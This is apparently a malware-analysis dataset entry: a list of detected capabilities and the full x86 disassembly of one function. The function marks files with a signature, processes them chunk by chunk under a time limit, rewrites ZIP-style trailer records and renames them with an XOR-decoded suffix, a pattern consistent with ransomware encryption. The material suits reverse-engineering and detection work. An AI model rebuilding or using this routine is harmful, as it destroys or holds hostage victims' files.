Function at 0x402d47
Capabilities:
Check for time delay via gettickcount
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30c
push ebx
push esi
push edi
xor eax, eax
mov dword [esp + 0x48], ecx
mov edi, edx
mov dword [esp + 0x10], eax
push edi
mov dword [esp + 0x84], edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
xor eax, eax
inc eax
cmp ebx, 0xffffffff
je 0x402da5
test al, bl
je 0x402da5
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor ebx, eax
push ebx
push edi
call esi
test eax, eax
jne 0x402da5
mov edx, edi
call fcn.00407dc0
push ebx
push edi
call esi
xor eax, eax
push eax
push 0x8000000
push 3
pop esi
push esi
push eax
push eax
push 0xc0000000
push edi
mov dword [esp + 0x6c], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x44], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x402e16
cmp eax, 0x20
je 0x402dde
cmp eax, 0x21
jne 0x402e0e
mov edx, edi
call fcn.00407dc0
mov ecx, edi
call fcn.0040a0e7
xor eax, eax
push eax
push 0x8000000
push esi
push eax
push eax
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x44], ebx
cmp ebx, 0xffffffff
jne 0x402e16
push 2
pop eax
jmp 0x403c87
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x10]
or eax, dword [esp + 0x14]
je 0x403c1b
push 0xa0
lea ecx, [esp + 0x1dc]
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0x19c]
push 0x1e
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0x84]
push 0x16
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0x9c]
push 0x14
pop eax
push eax
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0xb0]
push 0x38
call fcn.00406c78
mov edx, dword [esp + 0x18]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x402ebc
jg 0x402e9f
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1e
jbe 0x402ec0
push eax
lea eax, [esp + 0x2c]
push eax
push 0x1e
lea eax, [esp + 0x1a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x14]
xor eax, eax
mov ecx, dword [esp + 0x10]
cmp dword [esp + 0x19c], 0x4034b50
jne 0x402f3d
cmp edx, eax
jl 0x402f3d
jg 0x402ed8
cmp ecx, 0x62
jbe 0x402f3d
push eax
sub ecx, 0x62
push eax
sbb edx, eax
push edx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0x38
lea eax, [esp + 0xbc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xa8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
xor eax, eax
cmp dword [esp + 0xb0], 0x6064b50
jne 0x402fb4
cmp dword [esp + 0x9c], 0x7064b50
jne 0x402fb4
cmp dword [esp + 0x84], 0x6054b50
jne 0x402fb4
cmp dword [esp + 0xe4], eax
jl 0x402fb4
jg 0x402f7e
cmp dword [esp + 0xe0], 0xa0
jbe 0x402fb4
mov eax, dword [esp + 0xe0]
sub eax, 0xa0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xe4]
sbb eax, 0
cmp edx, eax
jl 0x402fb2
jg 0x402fa4
cmp ecx, dword [esp + 0x18]
jbe 0x402fb2
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xe4]
xor eax, eax
push eax
add ecx, 0xffffff60
push eax
adc edx, 0xffffffff
push edx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0xa0
lea eax, [esp + 0x1e4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x270], 0x57ea6b66
jne 0x403006
cmp dword [esp + 0x274], 0x6616be1a
jne 0x403006
push 4
pop esi
jmp 0x403c1b
push 0xa0
lea ecx, [esp + 0x1dc]
call fcn.00406c78
add esp, 4
mov edx, 0x4116b8
push 0x20
call fcn.00406c99
pop ecx
push 0x20
mov edx, 0x4116d8
lea ecx, [esp + 0x1fc]
call fcn.00406c99
pop ecx
push 0x20
mov edx, 0x4116f8
lea ecx, [esp + 0x21c]
call fcn.00406c99
pop ecx
lea edx, [esp + 0x2d8]
call fcn.00408375
push 0x401208
lea edx, [esp + 0x2dc]
lea ecx, [esp + 0x23c]
call fcn.00405570
lea edx, [esp + 0x2dc]
mov dword [esp], 0x4116b8
lea ecx, [esp + 0x2bc]
call fcn.00405570
pop ecx
lea eax, [esp + 0xe8]
push eax
lea ecx, [esp + 0x2bc]
call fcn.00406820
pop ecx
push 0x40
lea ecx, [esp + 0x2dc]
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0x2b8]
push 0x20
call fcn.00406c78
mov ax, word [0x411655]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x4030d9
mov dword [esp + 0x30], ecx
jmp 0x4030e0
movzx eax, ax
mov dword [esp + 0x30], eax
xor eax, eax
push eax
push ecx
push dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0040d500
xor ecx, ecx
push ecx
push dword [esp + 0x34]
push edx
push eax
call fcn.0040d5b0
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.0040d500
mov ecx, eax
mov eax, edx
add ecx, 1
push 0
pop edx
adc eax, edx
mov dword [esp + 0x54], eax
cmp eax, edx
jg 0x403129
jl 0x403144
cmp ecx, esi
jb 0x403144
mov esi, ecx
mov dword [esp + 0x50], esi
cmp eax, edx
jl 0x403148
mov eax, 0x29a
jg 0x40313e
cmp ecx, eax
jbe 0x403148
mov esi, eax
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], edx
cmp dword [esp + 0x14], edx
jg 0x403165
jl 0x40315b
mov eax, dword [esp + 0x10]
cmp eax, 0x20000
jae 0x403169
mov dword [esp + 0x4c], 1
jmp 0x4031b2
mov eax, dword [esp + 0x10]
push edx
push 0x20000
push dword [esp + 0x1c]
push eax
call fcn.0040d500
mov ecx, edx
mov dword [esp + 0x4c], eax
mov ebx, eax
mov dword [esp + 0x5c], edx
shld ecx, ebx, 0x11
shl ebx, 0x11
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x44]
cmp dword [esp + 0x14], ecx
jl 0x4031b6
jg 0x4031a6
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x18]
jb 0x4031b6
add eax, 1
push 0
mov dword [esp + 0x50], eax
pop eax
adc edx, eax
mov dword [esp + 0x5c], edx
lea ecx, [esi*8 + 8]
call fcn.00406c20
mov dword [esp + 0x74], eax
test eax, eax
jne 0x4031d2
xor esi, esi
inc esi
jmp 0x403c1b
mov ecx, edi
call fcn.00409a5f
xor edx, edx
push 0x2f
mov ecx, edx
pop esi
jmp 0x4031fe
movzx edx, word [edi + eax*2]
cmp edx, 0x5c
je 0x403204
cmp dx, si
je 0x403204
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x4031e2
jl 0x40320a
cmp eax, edx
ja 0x4031e2
jmp 0x40320a
push 0
add eax, 1
pop edx
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edi, [edi + eax*2]
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x80], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x54]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea edx, [esp + 0xf0]
lea ecx, [esp + 0x280]
call fcn.004023ec
xor eax, eax
add esp, 8
mov dword [esp + 0x2a8], eax
mov dword [esp + 0x2ac], eax
mov eax, dword [esp + 0x108]
mov dword [esp + 0x2b0], eax
mov eax, dword [esp + 0x10c]
mov dword [esp + 0x2b4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [esp + 0x50]
xorps xmm0, xmm0
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x58], eax
xor eax, eax
movlpd qword [esp + 0x30], xmm0
mov dword [esp + 0x70], edx
cmp esi, eax
jne 0x4032c2
cmp dword [esp + 0x54], eax
je 0x403c07
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x40], ecx
mov eax, edx
or eax, dword [esp + 0x58]
je 0x403554
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x18]
cmp eax, 0x2bf20
jae 0x403550
xor eax, eax
push eax
push 2
push dword [esp + 0x60]
push dword [esp + 0x7c]
call fcn.0040d500
mov ecx, dword [esp + 0x40]
xorps xmm0, xmm0
mov dword [esp + 0x70], eax
mov dword [esp + 0x58], edx
movlpd qword [esp + 0x30], xmm0
cmp ecx, esi
jne 0x403332
mov eax, dword [esp + 0x2c]
cmp eax, dword [esp + 0x54]
je 0x403554
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x6c], edx
cmp eax, dword [esp + 0x5c]
jg 0x403534
jl 0x403358
cmp edx, dword [esp + 0x4c]
jae 0x403534
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x18]
cmp eax, 0x2bf20
jae 0x403530
mov edx, dword [esp + 0x6c]
mov eax, edx
or eax, dword [esp + 0x3c]
je 0x4033b5
add edx, dword [esp + 0x70]
mov eax, dword [esp + 0x58]
adc eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x3c], eax
cmp eax, ecx
jl 0x4033b9
jg 0x40339d
cmp edx, dword [esp + 0x4c]
jb 0x4033b9
mov edx, dword [esp + 0x4c]
mov eax, ecx
sub edx, 1
push 0
pop ecx
sbb eax, ecx
mov dword [esp + 0x6c], edx
mov dword [esp + 0x3c], eax
jmp 0x4033b9
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x40]
xorps xmm0, xmm0
movlpd qword [esp + 0x60], xmm0
test ecx, ecx
jne 0x4033d6
xor ebx, ebx
cmp dword [esp + 0x2c], ebx
mov ebx, dword [esp + 0x44]
je 0x403437
mov esi, dword [esp + 0x64]
mov dword [esp + 0x30], esi
mov esi, dword [esp + 0x60]
mov dword [esp + 0x60], esi
mov edi, dword [esp + 0x60]
mov ebx, dword [esp + 0x74]
cmp dword [ebx + edi*8], edx
mov ebx, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x403417
mov esi, dword [esp + 0x60]
mov ebx, dword [esp + 0x74]
cmp dword [ebx + esi*8 + 4], eax
mov ebx, dword [esp + 0x44]
mov esi, dword [esp + 0x50]
je 0x403506
add dword [esp + 0x60], 1
adc dword [esp + 0x30], 0
cmp dword [esp + 0x60], ecx
jne 0x4033e6
mov edi, dword [esp + 0x30]
cmp edi, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x4033e6
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ecx, edx
xor edx, edx
push edx
shld eax, ecx, 0x11
push edx
shl ecx, 0x11
push eax
push ecx
push ebx
mov dword [esp + 0x44], eax
mov dword [esp + 0x74], ecx
call esi
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x10]
sub ecx, dword [esp + 0x60]
mov edx, dword [eax]
mov eax, dword [esp + 0x14]
sbb eax, dword [esp + 0x30]
test eax, eax
jg 0x403489
jl 0x40347b
cmp ecx, 0x20000
jae 0x403489
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x18]
jmp 0x403496
xor eax, eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0x20000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x48]
lea ecx, [esp + 0x278]
push dword [esp + 0x28]
push dword [eax]
mov edx, dword [eax]
call fcn.00402429
pop ecx
pop ecx
xor eax, eax
push eax
push eax
push dword [esp + 0x38]
push dword [esp + 0x6c]
push ebx
call esi
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
mov eax, dword [esp + 0x50]
push dword [esp + 0x30]
push dword [eax]
push ebx
call edi
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x74]
add ecx, 1
mov edx, dword [esp + 0x6c]
adc dword [esp + 0x2c], esi
mov esi, dword [esp + 0x74]
mov dword [eax + ecx*8], edx
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x40], ecx
mov dword [esi + ecx*8 + 4], eax
mov esi, dword [esp + 0x50]
add edx, 1
mov dword [esp + 0x6c], edx
adc eax, 0
mov dword [esp + 0x3c], eax
cmp ecx, esi
jne 0x403342
mov ebx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0x54]
mov ebx, dword [esp + 0x44]
jne 0x403342
jmp 0x403534
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x70]
cmp ecx, esi
jne 0x4032d8
mov eax, dword [esp + 0x2c]
cmp eax, dword [esp + 0x54]
jne 0x4032d8
jmp 0x403554
mov ecx, dword [esp + 0x40]
xor eax, eax
cmp dword [esp + 0x2c], eax
jl 0x403c07
jg 0x40356a
cmp ecx, eax
jbe 0x403c07
mov esi, dword [esp + 0x48]
push dword [esp + 0x80]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x411718
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0xe8]
call fcn.004055f4
cmp dword [0x411657], 0
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x258], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x268], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x26c], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x25c], eax
mov dword [esp + 0x260], ecx
mov dword [esp + 0x270], 0x57ea6b66
mov dword [esp + 0x274], 0x6616be1a
je 0x403bd2
push 0x2d
pop eax
mov word [esp + 0xe8], ax
mov ebx, 0xffff
xor eax, eax
mov ecx, ebx
mov word [esp + 0xea], ax
mov eax, dword [0x410d49]
neg eax
sbb eax, eax
and eax, 8
mov word [esp + 0xec], ax
call fcn.004082c7
mov ecx, ebx
mov word [esp + 0xee], ax
call fcn.004082c7
mov edx, dword [0x410d49]
lea esi, [esp + 0xe8]
mov ebx, dword [0x40fd45]
lea edi, [esp + 0x1a0]
mov word [esp + 0xf0], ax
test edx, edx
mov eax, dword [0x411930]
mov dword [esp + 0xf2], eax
mov eax, ebx
cmovne eax, edx
mov dword [esp + 0xfa], ebx
mov dword [esp + 0xf6], eax
mov eax, dword [0x40fcc1]
push 6
mov word [esp + 0x102], ax
pop ecx
mov dword [esp + 0x19c], 0x4034b50
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0x102], 0x800
test edx, edx
mov word [esp + 0x1b8], cx
push 0x2d
cmovne ebx, edx
mov esi, 0xffff
add eax, 0x1e
mov ecx, esi
add eax, ebx
mov dword [esp + 0x34], eax
pop eax
mov word [esp + 0x100], ax
call fcn.004082c7
mov ecx, esi
mov word [esp + 0x106], ax
call fcn.004082c7
or ecx, 0xffffffff
mov word [esp + 0x108], ax
call fcn.004082c7
or dword [esp + 0x10e], 0xffffffff
lea esi, [esp + 0x100]
or dword [esp + 0x112], 0xffffffff
lea edi, [esp + 0x1be]
mov edx, dword [esp + 0x78]
push 6
pop ecx
mov dword [esp + 0x10a], eax
push 0x14
pop eax
mov word [esp + 0x116], dx
mov dword [esp + 0x1ba], 0x4034b50
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
mov word [esp + 0x1d6], ax
xor eax, eax
inc eax
add ecx, 0xa0
push 0x10
mov word [esp + 0x80], ax
pop eax
mov word [esp + 0x7e], ax
mov eax, dword [esp + 0x14]
push 0
pop esi
adc eax, esi
mov dword [esp + 0x128], ecx
mov dword [esp + 0x130], ecx
lea edi, [esp + 0x13e]
xor ecx, ecx
mov dword [esp + 0x12c], eax
mov dword [esp + 0x134], eax
movzx eax, dx
cdq
mov ebx, edx
mov dword [esp + 0x138], 0x2014b50
mov edx, dword [esp + 0x30]
add edx, eax
mov dword [esp + 0xb0], 0x6064b50
push 0x3f
adc ecx, ebx
mov dword [esp + 0xb8], 0x2c
add edx, dword [esp + 0x14]
adc ecx, dword [esp + 0x18]
add edx, 0xd2
mov dword [esp + 0x1c], edx
adc ecx, esi
xor edx, edx
mov dword [esp + 0x5c], ecx
lea esi, [esp + 0xec]
pop ecx
push 6
mov word [esp + 0x140], cx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3f
xor ecx, ecx
mov dword [esp + 0x15e], edx
pop edx
push 6
mov dword [esp + 0x15a], ecx
lea esi, [esp + 0x104]
mov dword [esp + 0x162], ecx
lea edi, [esp + 0x170]
mov dword [esp + 0x166], ecx
pop ecx
push 0x14
mov word [esp + 0x16e], dx
xor edx, edx
mov dword [esp + 0x16a], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov esi, dword [0x40fcc1]
mov edi, dword [esp + 0x5c]
pop ecx
mov word [esp + 0x184], cx
xor ecx, ecx
push 0
add esi, eax
mov dword [esp + 0x18a], ecx
mov word [esp + 0x18e], cx
mov dword [esp + 0x190], ecx
adc edx, ebx
mov ecx, dword [esp + 0x34]
mov ebx, dword [esp + 0x1c]
add esi, ebx
mov dword [esp + 0x194], ecx
pop ecx
push 0x3f
pop eax
push 0xa
mov word [esp + 0xc0], ax
adc edx, edi
pop eax
add esi, 0x70
mov word [esp + 0xbe], ax
push 2
adc edx, ecx
mov dword [esp + 0xbc], ecx
pop eax
mov dword [esp + 0xc0], ecx
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd4], ecx
mov ecx, esi
mov dword [esp + 0xc8], eax
sub ecx, ebx
mov dword [esp + 0xd0], eax
mov eax, edx
sbb eax, edi
mov dword [esp + 0xd8], ecx
or dword [esp + 0x94], 0xffffffff
xorps xmm0, xmm0
push 2
pop ecx
mov dword [esp + 0xe4], edi
xor edi, edi
push edi
mov dword [esp + 0xe0], eax
xor eax, eax
push edi
mov dword [esp + 0x90], eax
mov word [esp + 0xa0], ax
mov eax, dword [esp + 0x38]
movlpd qword [esp + 0x20], xmm0
add eax, 0x32
push dword [esp + 0x24]
mov dword [esp + 0xb4], edx
mov edx, dword [esp + 0x84]
push dword [esp + 0x24]
mov dword [esp + 0xb4], esi
sub esi, ebx
mov dword [esp + 0xbc], ecx
mov word [esp + 0x9c], cx
mov word [esp + 0x9e], cx
movzx ecx, dx
mov dword [esp + 0xf0], ebx
add eax, ecx
mov ebx, dword [esp + 0x54]
mov dword [esp + 0xa0], esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push ebx
mov dword [esp + 0xb0], 0x7064b50
mov dword [esp + 0xb4], edi
mov dword [esp + 0x98], 0x6054b50
mov dword [esp + 0x278], eax
call esi
push edi
mov edi, dword [esp + 0x4c]
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x26c]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x1e
lea eax, [esp + 0x1a8]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
mov eax, dword [0x410d49]
test eax, eax
je 0x4039fe
xor ecx, ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x410d4d
jmp 0x403a11
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fd45]
push 0x40fd49
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x1e
lea eax, [esp + 0x1c6]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x78]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x88]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x10
lea eax, [esp + 0x134]
push eax
push ebx
call esi
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x30]
push dword [edi]
push ebx
call esi
xor ecx, ecx
cmp ecx, dword [esp + 0x14]
jl 0x403ab7
mov eax, dword [esp + 0x10]
jg 0x403ab0
cmp dword [esp + 0x264], eax
jbe 0x403ab7
mov dword [esp + 0x264], eax
push ecx
lea eax, [esp + 0x10]
push eax
push 0xa0
lea eax, [esp + 0x1e4]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x2e
lea eax, [esp + 0x144]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x2e
lea eax, [esp + 0x172]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x78]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x88]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x10
lea eax, [esp + 0x134]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x38
lea eax, [esp + 0xbc]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call esi
push 0x2f
pop eax
xor ecx, ecx
mov byte [esp + 0x1a], al
mov word [esp + 0x18], 0x557b
mov eax, ecx
mov dword [esp + 0x1b], 0x25553c55
mov word [esp + 0x1f], 0x5555
mov byte [esp + 0x21], cl
xor byte [esp + eax + 0x18], 0x55
inc eax
cmp eax, 9
jb 0x403bb3
lea eax, [esp + 0x18]
mov byte [esp + 0x21], cl
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403c07
push 2
pop eax
push eax
xorps xmm0, xmm0
xor esi, esi
push esi
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [esp + 0x10]
push eax
push 0xa0
lea eax, [esp + 0x1e4]
push eax
push ebx
call edi
mov ecx, dword [esp + 0x74]
call fcn.00406cc5
mov edi, dword [esp + 0x80]
xor eax, eax
mov esi, eax
push 0x40
lea ecx, [esp + 0xec]
call fcn.00406c78
add esp, 4
lea ecx, [esp + 0x278]
push 0x40
call fcn.00406c78
add esp, 4
cmp ebx, 0xffffffff
je 0x403c49
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x403c85
cmp dword [0x411657], esi
jne 0x403c5d
cmp dword [0x41165b], esi
je 0x403c85
mov ebx, dword [esp + 0x48]
push dword [ebx + 4]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x403c85
push dword [ebx + 4]
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
neg eax
push 2
sbb esi, esi
and esi, 0xfffffffe
pop eax
add esi, eax
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret